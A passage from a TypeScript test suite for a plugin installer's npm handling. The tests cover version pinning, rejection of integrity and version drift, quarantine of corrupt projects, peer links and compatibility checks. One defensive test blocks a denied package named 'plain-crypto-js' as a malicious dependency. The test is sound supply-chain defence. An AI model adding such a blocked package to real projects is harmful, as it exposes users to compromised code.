});
|
|
|
|
it("pins mutable npm specs to the verified resolved version", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "mutable-plugin@latest",
|
|
packageName: "mutable-plugin",
|
|
version: "1.2.3",
|
|
pluginId: "mutable-plugin",
|
|
npmRoot,
|
|
expectedDependencySpec: "1.2.3",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "mutable-plugin@latest",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "mutable-plugin",
|
|
});
|
|
const manifest = JSON.parse(
|
|
await fs.promises.readFile(path.join(npmProjectRoot, "package.json"), "utf8"),
|
|
) as { dependencies?: Record<string, string> };
|
|
expect(manifest.dependencies?.["mutable-plugin"]).toBe("1.2.3");
|
|
});
|
|
|
|
it("rejects npm installs when the installed artifact drifts from verified metadata", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "drift-plugin@latest",
|
|
packageName: "drift-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "drift-plugin",
|
|
integrity: "sha512-safe",
|
|
installedVersion: "1.0.0",
|
|
installedIntegrity: "sha512-evil",
|
|
npmRoot,
|
|
expectedDependencySpec: "1.0.0",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "drift-plugin@latest",
|
|
expectedIntegrity: "sha512-safe",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(result.error).toContain("integrity sha512-evil");
|
|
expect(result.error).toContain("expected sha512-safe");
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "drift-plugin"))).toBe(false);
|
|
});
|
|
|
|
it("rejects npm installs when the installed version drifts from verified metadata", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "version-drift-plugin@latest",
|
|
packageName: "version-drift-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "version-drift-plugin",
|
|
installedVersion: "1.0.1",
|
|
npmRoot,
|
|
expectedDependencySpec: "1.0.0",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "version-drift-plugin@latest",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(result.error).toContain("version 1.0.1");
|
|
expect(result.error).toContain("expected 1.0.0");
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "version-drift-plugin"))).toBe(false);
|
|
});
|
|
|
|
it("rejects npm installs when package-lock omits the installed plugin", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "missing-lock-plugin@latest",
|
|
packageName: "missing-lock-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "missing-lock-plugin",
|
|
npmRoot,
|
|
expectedDependencySpec: "1.0.0",
|
|
skipLockfileEntry: true,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "missing-lock-plugin@latest",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(result.error).toContain(
|
|
"npm install did not record package-lock metadata for missing-lock-plugin",
|
|
);
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "missing-lock-plugin"))).toBe(false);
|
|
});
|
|
|
|
it("quarantines and rebuilds a corrupt managed npm project after npm from-argument failures", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const packageName = "@openclaw/voice-call";
|
|
const warnings: string[] = [];
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({ npmDir: npmRoot, packageName });
|
|
const stalePackageDir = path.join(npmProjectRoot, "node_modules", "stale-plugin");
|
|
fs.mkdirSync(stalePackageDir, { recursive: true });
|
|
fs.writeFileSync(path.join(stalePackageDir, "stale.txt"), "old tree", "utf8");
|
|
fs.writeFileSync(
|
|
path.join(npmProjectRoot, "package-lock.json"),
|
|
`${JSON.stringify({ lockfileVersion: 3, packages: {} })}\n`,
|
|
"utf8",
|
|
);
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: `${packageName}@1.0.0`,
|
|
packageName,
|
|
version: "1.0.0",
|
|
pluginId: "voice-call",
|
|
npmRoot,
|
|
expectedDependencySpec: "1.0.0",
|
|
});
|
|
const delegate = runCommandWithTimeoutMock.getMockImplementation();
|
|
if (!delegate) {
|
|
throw new Error("expected npm mock implementation");
|
|
}
|
|
let managedInstallAttempts = 0;
|
|
runCommandWithTimeoutMock.mockImplementation(
|
|
async (argv: string[], options?: { cwd?: string }) => {
|
|
if (isManagedNpmInstallCommand(argv) && options?.cwd === npmProjectRoot) {
|
|
managedInstallAttempts += 1;
|
|
if (managedInstallAttempts === 1) {
|
|
return failedSpawn(
|
|
'npm ERR! code ERR_INVALID_ARG_TYPE\nnpm ERR! The "from" argument must be of type string. Received undefined',
|
|
);
|
|
}
|
|
}
|
|
return await delegate(argv, options);
|
|
},
|
|
);
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: `${packageName}@1.0.0`,
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: (message) => warnings.push(message) },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
expect(managedInstallAttempts).toBe(2);
|
|
expect(result.pluginId).toBe("voice-call");
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, packageName))).toBe(true);
|
|
expect(warnings.some((warning) => warning.includes("managed npm project corruption"))).toBe(
|
|
true,
|
|
);
|
|
const quarantineParent = path.join(npmProjectRoot, "_openclaw-quarantined-npm-projects");
|
|
const quarantines = fs.readdirSync(quarantineParent);
|
|
expect(quarantines).toHaveLength(1);
|
|
const quarantineDir = path.join(quarantineParent, quarantines[0] ?? "");
|
|
expect(
|
|
fs.readFileSync(
|
|
path.join(quarantineDir, "node_modules", "stale-plugin", "stale.txt"),
|
|
"utf8",
|
|
),
|
|
).toBe("old tree");
|
|
expect(fs.existsSync(path.join(quarantineDir, "package-lock.json"))).toBe(true);
|
|
});
|
|
|
|
it("allows rebuilt hoisted dependencies after managed npm project quarantine", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const packageName = "unsafe-rebuild-plugin";
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({ npmDir: npmRoot, packageName });
|
|
fs.mkdirSync(path.join(npmProjectRoot, "node_modules", "stale-hoisted-helper"), {
|
|
recursive: true,
|
|
});
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: `${packageName}@1.0.0`,
|
|
packageName,
|
|
version: "1.0.0",
|
|
pluginId: packageName,
|
|
npmRoot,
|
|
expectedDependencySpec: "1.0.0",
|
|
hoistedDependency: { name: "stale-hoisted-helper", version: "1.0.0" },
|
|
});
|
|
const delegate = runCommandWithTimeoutMock.getMockImplementation();
|
|
if (!delegate) {
|
|
throw new Error("expected npm mock implementation");
|
|
}
|
|
let managedInstallAttempts = 0;
|
|
runCommandWithTimeoutMock.mockImplementation(
|
|
async (argv: string[], options?: { cwd?: string }) => {
|
|
if (isManagedNpmInstallCommand(argv) && options?.cwd === npmProjectRoot) {
|
|
managedInstallAttempts += 1;
|
|
if (managedInstallAttempts === 1) {
|
|
return failedSpawn(
|
|
'npm ERR! code ERR_INVALID_ARG_TYPE\nnpm ERR! The "from" argument must be of type string. Received undefined',
|
|
);
|
|
}
|
|
}
|
|
return await delegate(argv, options);
|
|
},
|
|
);
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: `${packageName}@1.0.0`,
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
expect(managedInstallAttempts).toBe(2);
|
|
});
|
|
|
|
it("keeps corrupt managed npm project artifacts quarantined when the rebuild retry fails", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const packageName = "broken-plugin";
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({ npmDir: npmRoot, packageName });
|
|
fs.mkdirSync(path.join(npmProjectRoot, "node_modules", "stale-plugin"), { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(npmProjectRoot, "node_modules", "stale-plugin", "stale.txt"),
|
|
"old tree",
|
|
"utf8",
|
|
);
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: `${packageName}@1.0.0`,
|
|
packageName,
|
|
version: "1.0.0",
|
|
pluginId: packageName,
|
|
npmRoot,
|
|
expectedDependencySpec: "1.0.0",
|
|
});
|
|
const delegate = runCommandWithTimeoutMock.getMockImplementation();
|
|
if (!delegate) {
|
|
throw new Error("expected npm mock implementation");
|
|
}
|
|
let managedInstallAttempts = 0;
|
|
runCommandWithTimeoutMock.mockImplementation(
|
|
async (argv: string[], options?: { cwd?: string }) => {
|
|
if (isManagedNpmInstallCommand(argv) && options?.cwd === npmProjectRoot) {
|
|
managedInstallAttempts += 1;
|
|
if (managedInstallAttempts === 1) {
|
|
return failedSpawn(
|
|
'npm ERR! code ERR_INVALID_ARG_TYPE\nnpm ERR! The "from" argument must be of type string. Received undefined',
|
|
);
|
|
}
|
|
return failedSpawn("npm ERR! still broken");
|
|
}
|
|
return await delegate(argv, options);
|
|
},
|
|
);
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: `${packageName}@1.0.0`,
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(managedInstallAttempts).toBeGreaterThanOrEqual(2);
|
|
expect(result.error).toContain("npm install failed after managed npm project recovery");
|
|
expect(result.error).toContain("Original npm error");
|
|
const quarantineParent = path.join(npmProjectRoot, "_openclaw-quarantined-npm-projects");
|
|
const quarantines = fs.readdirSync(quarantineParent);
|
|
expect(quarantines).toHaveLength(1);
|
|
expect(
|
|
fs.readFileSync(
|
|
path.join(
|
|
quarantineParent,
|
|
quarantines[0] ?? "",
|
|
"node_modules",
|
|
"stale-plugin",
|
|
"stale.txt",
|
|
),
|
|
"utf8",
|
|
),
|
|
).toBe("old tree");
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, packageName))).toBe(false);
|
|
});
|
|
|
|
it("blocks npm installs with denied hoisted transitive dependencies", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: "hoisted-plugin@1.0.0",
|
|
packageName: "hoisted-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "hoisted-plugin",
|
|
npmRoot,
|
|
hoistedDependency: { name: "plain-crypto-js", version: "1.0.0" },
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "hoisted-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (!result.ok) {
|
|
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);
|
|
expect(result.error).toContain('blocked dependencies "plain-crypto-js" as package name');
|
|
expect(result.error).toContain("node_modules/plain-crypto-js/package.json");
|
|
}
|
|
});
|
|
|
|
it.runIf(process.platform !== "win32")(
|
|
"does not let managed openclaw peer links poison later npm installs",
|
|
async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "peer-plugin@1.0.0",
|
|
packageName: "peer-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "peer-plugin",
|
|
npmRoot,
|
|
peerDependencies: { openclaw: "^2026.0.0" },
|
|
},
|
|
{
|
|
spec: "next-plugin@1.0.0",
|
|
packageName: "next-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "next-plugin",
|
|
npmRoot,
|
|
},
|
|
]);
|
|
|
|
const first = await installPluginFromNpmSpec({
|
|
spec: "peer-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(first.ok).toBe(true);
|
|
const peerPluginDir = resolveTestPluginPackageDir(npmRoot, "peer-plugin");
|
|
expect(
|
|
fs.lstatSync(path.join(peerPluginDir, "node_modules", "openclaw")).isSymbolicLink(),
|
|
).toBe(true);
|
|
|
|
const second = await installPluginFromNpmSpec({
|
|
spec: "next-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(second.ok).toBe(true);
|
|
if (!second.ok) {
|
|
expect(second.error).not.toContain("peer-plugin/node_modules/openclaw");
|
|
}
|
|
expect(
|
|
fs.lstatSync(path.join(peerPluginDir, "node_modules", "openclaw")).isSymbolicLink(),
|
|
).toBe(true);
|
|
},
|
|
);
|
|
|
|
it.runIf(process.platform !== "win32")(
|
|
"does not fail a managed npm install for an unrelated skipped peer link",
|
|
async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const warnings: string[] = [];
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "peer-plugin@1.0.0",
|
|
packageName: "peer-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "peer-plugin",
|
|
npmRoot,
|
|
peerDependencies: { openclaw: "^2026.0.0" },
|
|
},
|
|
{
|
|
spec: "next-plugin@1.0.0",
|
|
packageName: "next-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "next-plugin",
|
|
npmRoot,
|
|
},
|
|
]);
|
|
|
|
const first = await installPluginFromNpmSpec({
|
|
spec: "peer-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(first.ok).toBe(true);
|
|
const peerPluginDir = resolveTestPluginPackageDir(npmRoot, "peer-plugin");
|
|
|
|
const staleNodeModulesPath = path.join(peerPluginDir, "node_modules");
|
|
fs.rmSync(staleNodeModulesPath, { recursive: true, force: true });
|
|
fs.writeFileSync(staleNodeModulesPath, "not a directory", "utf-8");
|
|
|
|
const second = await installPluginFromNpmSpec({
|
|
spec: "next-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: (message) => warnings.push(message) },
|
|
});
|
|
|
|
expect(second.ok).toBe(true);
|
|
expect(warnings).toEqual([]);
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "next-plugin"))).toBe(true);
|
|
expect(fs.readFileSync(staleNodeModulesPath, "utf-8")).toBe("not a directory");
|
|
},
|
|
);
|
|
|
|
it("rejects managed npm plugins when their openclaw peer link cannot be repaired", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const warnings: string[] = [];
|
|
|
|
resolveOpenClawPackageRootSyncMock.mockReturnValue(null);
|
|
mockNpmViewAndInstall({
|
|
spec: "@openclaw/codex@2026.5.7",
|
|
packageName: "@openclaw/codex",
|
|
version: "2026.5.7",
|
|
pluginId: "@openclaw/codex",
|
|
npmRoot,
|
|
peerDependencies: { openclaw: ">=2026.5.7" },
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/codex@2026.5.7",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: (message) => warnings.push(message) },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(result.error).toContain("@openclaw/codex");
|
|
expect(result.error).toContain("plugin-local node_modules/openclaw link");
|
|
expect(
|
|
warnings.some((warning) => warning.includes("Could not locate openclaw package root")),
|
|
).toBe(true);
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "@openclaw/codex"))).toBe(false);
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "@openclaw/codex",
|
|
});
|
|
expect(fs.existsSync(path.join(npmProjectRoot, "package.json"))).toBe(false);
|
|
});
|
|
|
|
it("rejects exact npm plugins whose package compatibility requires a newer host", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
vi.stubEnv("OPENCLAW_COMPATIBILITY_HOST_VERSION", "2026.5.10-beta.1");
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: "@openclaw/whatsapp@2026.5.27",
|
|
packageName: "@openclaw/whatsapp",
|
|
version: "2026.5.27",
|
|
pluginId: "whatsapp",
|
|
npmRoot,
|
|
peerDependencies: { openclaw: ">=2026.5.27" },
|
|
openclaw: {
|
|
extensions: ["./dist/index.js"],
|
|
install: { minHostVersion: ">=2026.4.25" },
|
|
compat: { pluginApi: ">=2026.5.27" },
|
|
},
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/whatsapp@2026.5.27",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.INCOMPATIBLE_PLUGIN_API);
|
|
expect(result.error).toContain("requires plugin API >=2026.5.27");
|
|
expect(result.error).toContain("runtime exposes 2026.5.10-beta.1");
|
|
expect(result.error).toContain("install a compatible plugin version");
|
|
expect(fs.existsSync(path.join(npmRoot, "node_modules", "@openclaw", "whatsapp"))).toBe(false);
|
|
expect(fs.existsSync(path.join(npmRoot, "package.json"))).toBe(false);
|
|
expect(
|
|
runCommandWithTimeoutMock.mock.calls.some(([argv]) => isManagedNpmInstallCommand(argv)),
|
|
).toBe(false);
|
|
});
|
|
|
|
it("installs the newest compatible npm version for unpinned plugins", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const warnings: string[] = [];
|
|
vi.stubEnv("OPENCLAW_COMPATIBILITY_HOST_VERSION", "2026.5.10-beta.1");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/whatsapp",
|
|
packageName: "@openclaw/whatsapp",
|
|
version: "2026.5.27",
|
|
pluginId: "whatsapp",
|
|
npmRoot,
|
|
versions: ["2026.5.26", "2026.5.27"],
|
|
openclaw: {
|
|
extensions: ["./dist/index.js"],
|
|
install: { minHostVersion: ">=2026.4.25" },
|
|
compat: { pluginApi: ">=2026.5.27" },
|
|
},
|
|
},
|
|
{
|
|
spec: "@openclaw/whatsapp@2026.5.26",
|
|
packageName: "@openclaw/whatsapp",
|
|
version: "2026.5.26",
|
|
pluginId: "whatsapp",
|
|
npmRoot,
|
|
expectedDependencySpec: "2026.5.26",
|
|
openclaw: {
|
|
extensions: ["./dist/index.js"],
|
|
install: { minHostVersion: ">=2026.4.25" },
|
|
compat: { pluginApi: ">=2026.5.10-beta.1" },
|
|
},
|
|
},
|
|
]);
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/whatsapp",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: (message) => warnings.push(message) },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/whatsapp@2026.5.26");
|
|
expect(result.npmResolution?.version).toBe("2026.5.26");
|
|
expect(warnings.join("\n")).toContain("using newest compatible @openclaw/whatsapp@2026.5.26");
|
|
expect(
|
|
JSON.parse(
|
|
fs.readFileSync(
|
|
path.join(resolveTestPluginPackageDir(npmRoot, "@openclaw/whatsapp"), "package.json"),
|
|
"utf8",
|
|
),
|
|
).version,
|
|
).toBe("2026.5.26");
|
|
});
|
|
|
|
it("preserves an existing npm plugin by resolving update metadata to a compatible version", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "@openclaw/whatsapp",
|
|
});
|
|
const warnings: string[] = [];
|
|
fs.mkdirSync(npmProjectRoot, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(npmProjectRoot, "package.json"),
|
|
JSON.stringify({
|
|
private: true,
|
|
dependencies: {
|
|
"@openclaw/whatsapp": "2026.5.26",
|
|
},
|
|
}),
|
|
"utf8",
|
|
);
|
|
writeInstalledNpmPlugin({
|
|
packageName: "@openclaw/whatsapp",
|
|
version: "2026.5.26",
|
|
pluginId: "whatsapp",
|
|
npmRoot: npmProjectRoot,
|
|
openclaw: {
|
|
extensions: ["./dist/index.js"],
|
|
install: { minHostVersion: ">=2026.4.25" },
|
|
compat: { pluginApi: ">=2026.5.10-beta.1" },
|
|
},
|
|
});
|
|
vi.stubEnv("OPENCLAW_COMPATIBILITY_HOST_VERSION", "2026.5.10-beta.1");
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/whatsapp",
|
|
packageName: "@openclaw/whatsapp",
|
|
version: "2026.5.27",
|
|
pluginId: "whatsapp",
|
|
npmRoot,
|
|
versions: ["2026.5.26", "2026.5.27"],
|
|
openclaw: {
|
|
extensions: ["./dist/index.js"],
|
|
install: { minHostVersion: ">=2026.4.25" },
|
|
compat: { pluginApi: ">=2026.5.27" },
|
|
},
|
|
},
|
|
{
|
|
spec: "@openclaw/whatsapp@2026.5.26",
|
|
packageName: "@openclaw/whatsapp",
|
|
version: "2026.5.26",
|
|
pluginId: "whatsapp",
|
|
npmRoot,
|
|
expectedDependencySpec: "2026.5.26",
|
|
openclaw: {
|
|
extensions: ["./dist/index.js"],
|
|
install: { minHostVersion: ">=2026.4.25" },
|
|
compat: { pluginApi: ">=2026.5.10-beta.1" },
|
|
},
|
|
},
|
|
]);
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/whatsapp",
|
|
npmDir: npmRoot,
|
|
mode: "update",
|
|
logger: { info: () => {}, warn: (message) => warnings.push(message) },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/whatsapp@2026.5.26");
|
|
expect(warnings.join("\n")).toContain("using newest compatible @openclaw/whatsapp@2026.5.26");
|
|
expect(
|
|
JSON.parse(
|
|
fs.readFileSync(
|
|
path.join(resolveTestPluginPackageDir(npmRoot, "@openclaw/whatsapp"), "package.json"),
|
|
"utf8",
|
|
),
|
|
).version,
|
|
).toBe("2026.5.26");
|
|
const managedManifest = JSON.parse(
|
|
fs.readFileSync(path.join(npmProjectRoot, "package.json"), "utf8"),
|
|
) as { dependencies?: Record<string, string> };
|
|
expect(managedManifest.dependencies?.["@openclaw/whatsapp"]).toBe("2026.5.26");
|
|
expect(
|
|
runCommandWithTimeoutMock.mock.calls.some(([argv]) => isManagedNpmInstallCommand(argv)),
|
|
).toBe(true);
|
|
});
|
|
|
|
it("resolves incompatible prerelease tags to a compatible prerelease version", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const warnings: string[] = [];
|
|
vi.stubEnv("OPENCLAW_COMPATIBILITY_HOST_VERSION", "2026.5.28-beta.3");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/msteams@beta",
|
|
packageName: "@openclaw/msteams",
|
|
version: "2026.5.28-beta.4",
|
|
pluginId: "msteams",
|
|
npmRoot,
|
|
versions: ["2026.5.28-beta.3", "2026.5.28-beta.4"],
|
|
openclaw: {
|
|
extensions: ["./dist/index.js"],
|
|
compat: { pluginApi: ">=2026.5.28-beta.4" },
|
|
},
|
|
},
|
|
{
|
|
spec: "@openclaw/msteams@2026.5.28-beta.3",
|
|
packageName: "@openclaw/msteams",
|
|
version: "2026.5.28-beta.3",
|
|
pluginId: "msteams",
|
|
npmRoot,
|
|
expectedDependencySpec: "2026.5.28-beta.3",
|
|
openclaw: {
|
|
extensions: ["./dist/index.js"],
|
|
compat: { pluginApi: ">=2026.5.28-beta.3" },
|
|
},
|
|
},
|
|
]);
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/msteams@beta",
|
|
npmDir: npmRoot,
|
|
mode: "update",
|
|
logger: { info: () => {}, warn: (message) => warnings.push(message) },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/msteams@2026.5.28-beta.3");
|
|
expect(result.npmResolution?.version).toBe("2026.5.28-beta.3");
|
|
expect(warnings.join("\n")).toContain(
|
|
"using newest compatible @openclaw/msteams@2026.5.28-beta.3",
|
|
);
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "@openclaw/msteams",
|
|
});
|
|
const managedManifest = JSON.parse(
|
|
fs.readFileSync(path.join(npmProjectRoot, "package.json"), "utf8"),
|
|
) as { dependencies?: Record<string, string> };
|
|
expect(managedManifest.dependencies?.["@openclaw/msteams"]).toBe("2026.5.28-beta.3");
|
|
});
|
|
|
|
it("does not resolve explicit prerelease tags to stable compatible versions", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
vi.stubEnv("OPENCLAW_COMPATIBILITY_HOST_VERSION", "2026.5.28-beta.3");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/msteams@beta",
|
|
packageName: "@openclaw/msteams",
|
|
version: "2026.5.28-beta.4",
|
|
pluginId: "msteams",
|
|
npmRoot,
|
|
versions: ["2026.5.27", "2026.5.28-beta.4"],
|
|
openclaw: {
|
|
extensions: ["./dist/index.js"],
|
|
compat: { pluginApi: ">=2026.5.28-beta.4" },
|
|
},
|
|
},
|
|
]);
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/msteams@beta",
|
|
npmDir: npmRoot,
|
|
mode: "update",
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.INCOMPATIBLE_PLUGIN_API);
|
|
expect(result.error).toContain("requires plugin API >=2026.5.28-beta.4");
|
|
expect(
|
|
runCommandWithTimeoutMock.mock.calls.some(([argv]) => isManagedNpmInstallCommand(argv)),
|
|
).toBe(false);
|
|
});
|
|
|
|
it("does not resolve explicit prerelease tags to a different prerelease channel", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
vi.stubEnv("OPENCLAW_COMPATIBILITY_HOST_VERSION", "2026.5.28-beta.3");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/msteams@beta",
|
|
packageName: "@openclaw/msteams",
|
|
version: "2026.5.28-beta.4",
|
|
pluginId: "msteams",
|
|
npmRoot,
|
|
versions: ["2026.5.28-alpha.10", "2026.5.28-beta.4"],
|
|
openclaw: {
|
|
extensions: ["./dist/index.js"],
|
|
compat: { pluginApi: ">=2026.5.28-beta.4" },
|
|
},
|
|
},
|
|
]);
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/msteams@beta",
|
|
npmDir: npmRoot,
|
|
mode: "update",
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (result.ok) {
|
|
return;
|
|
}
|
|
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.INCOMPATIBLE_PLUGIN_API);
|
|
expect(result.error).toContain("requires plugin API >=2026.5.28-beta.4");
|
|
expect(
|
|
runCommandWithTimeoutMock.mock.calls.some(([argv]) => isManagedNpmInstallCommand(argv)),
|
|
).toBe(false);
|
|
});
|
|
|
|
it.runIf(process.platform !== "win32")(
|
|
"repairs root openclaw materialized by npm peer handling",
|
|
async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: "required-peer-plugin@1.0.0",
|
|
packageName: "required-peer-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "required-peer-plugin",
|
|
npmRoot,
|
|
peerDependencies: { openclaw: "^2026.0.0" },
|
|
materializesRootOpenClaw: true,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "required-peer-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
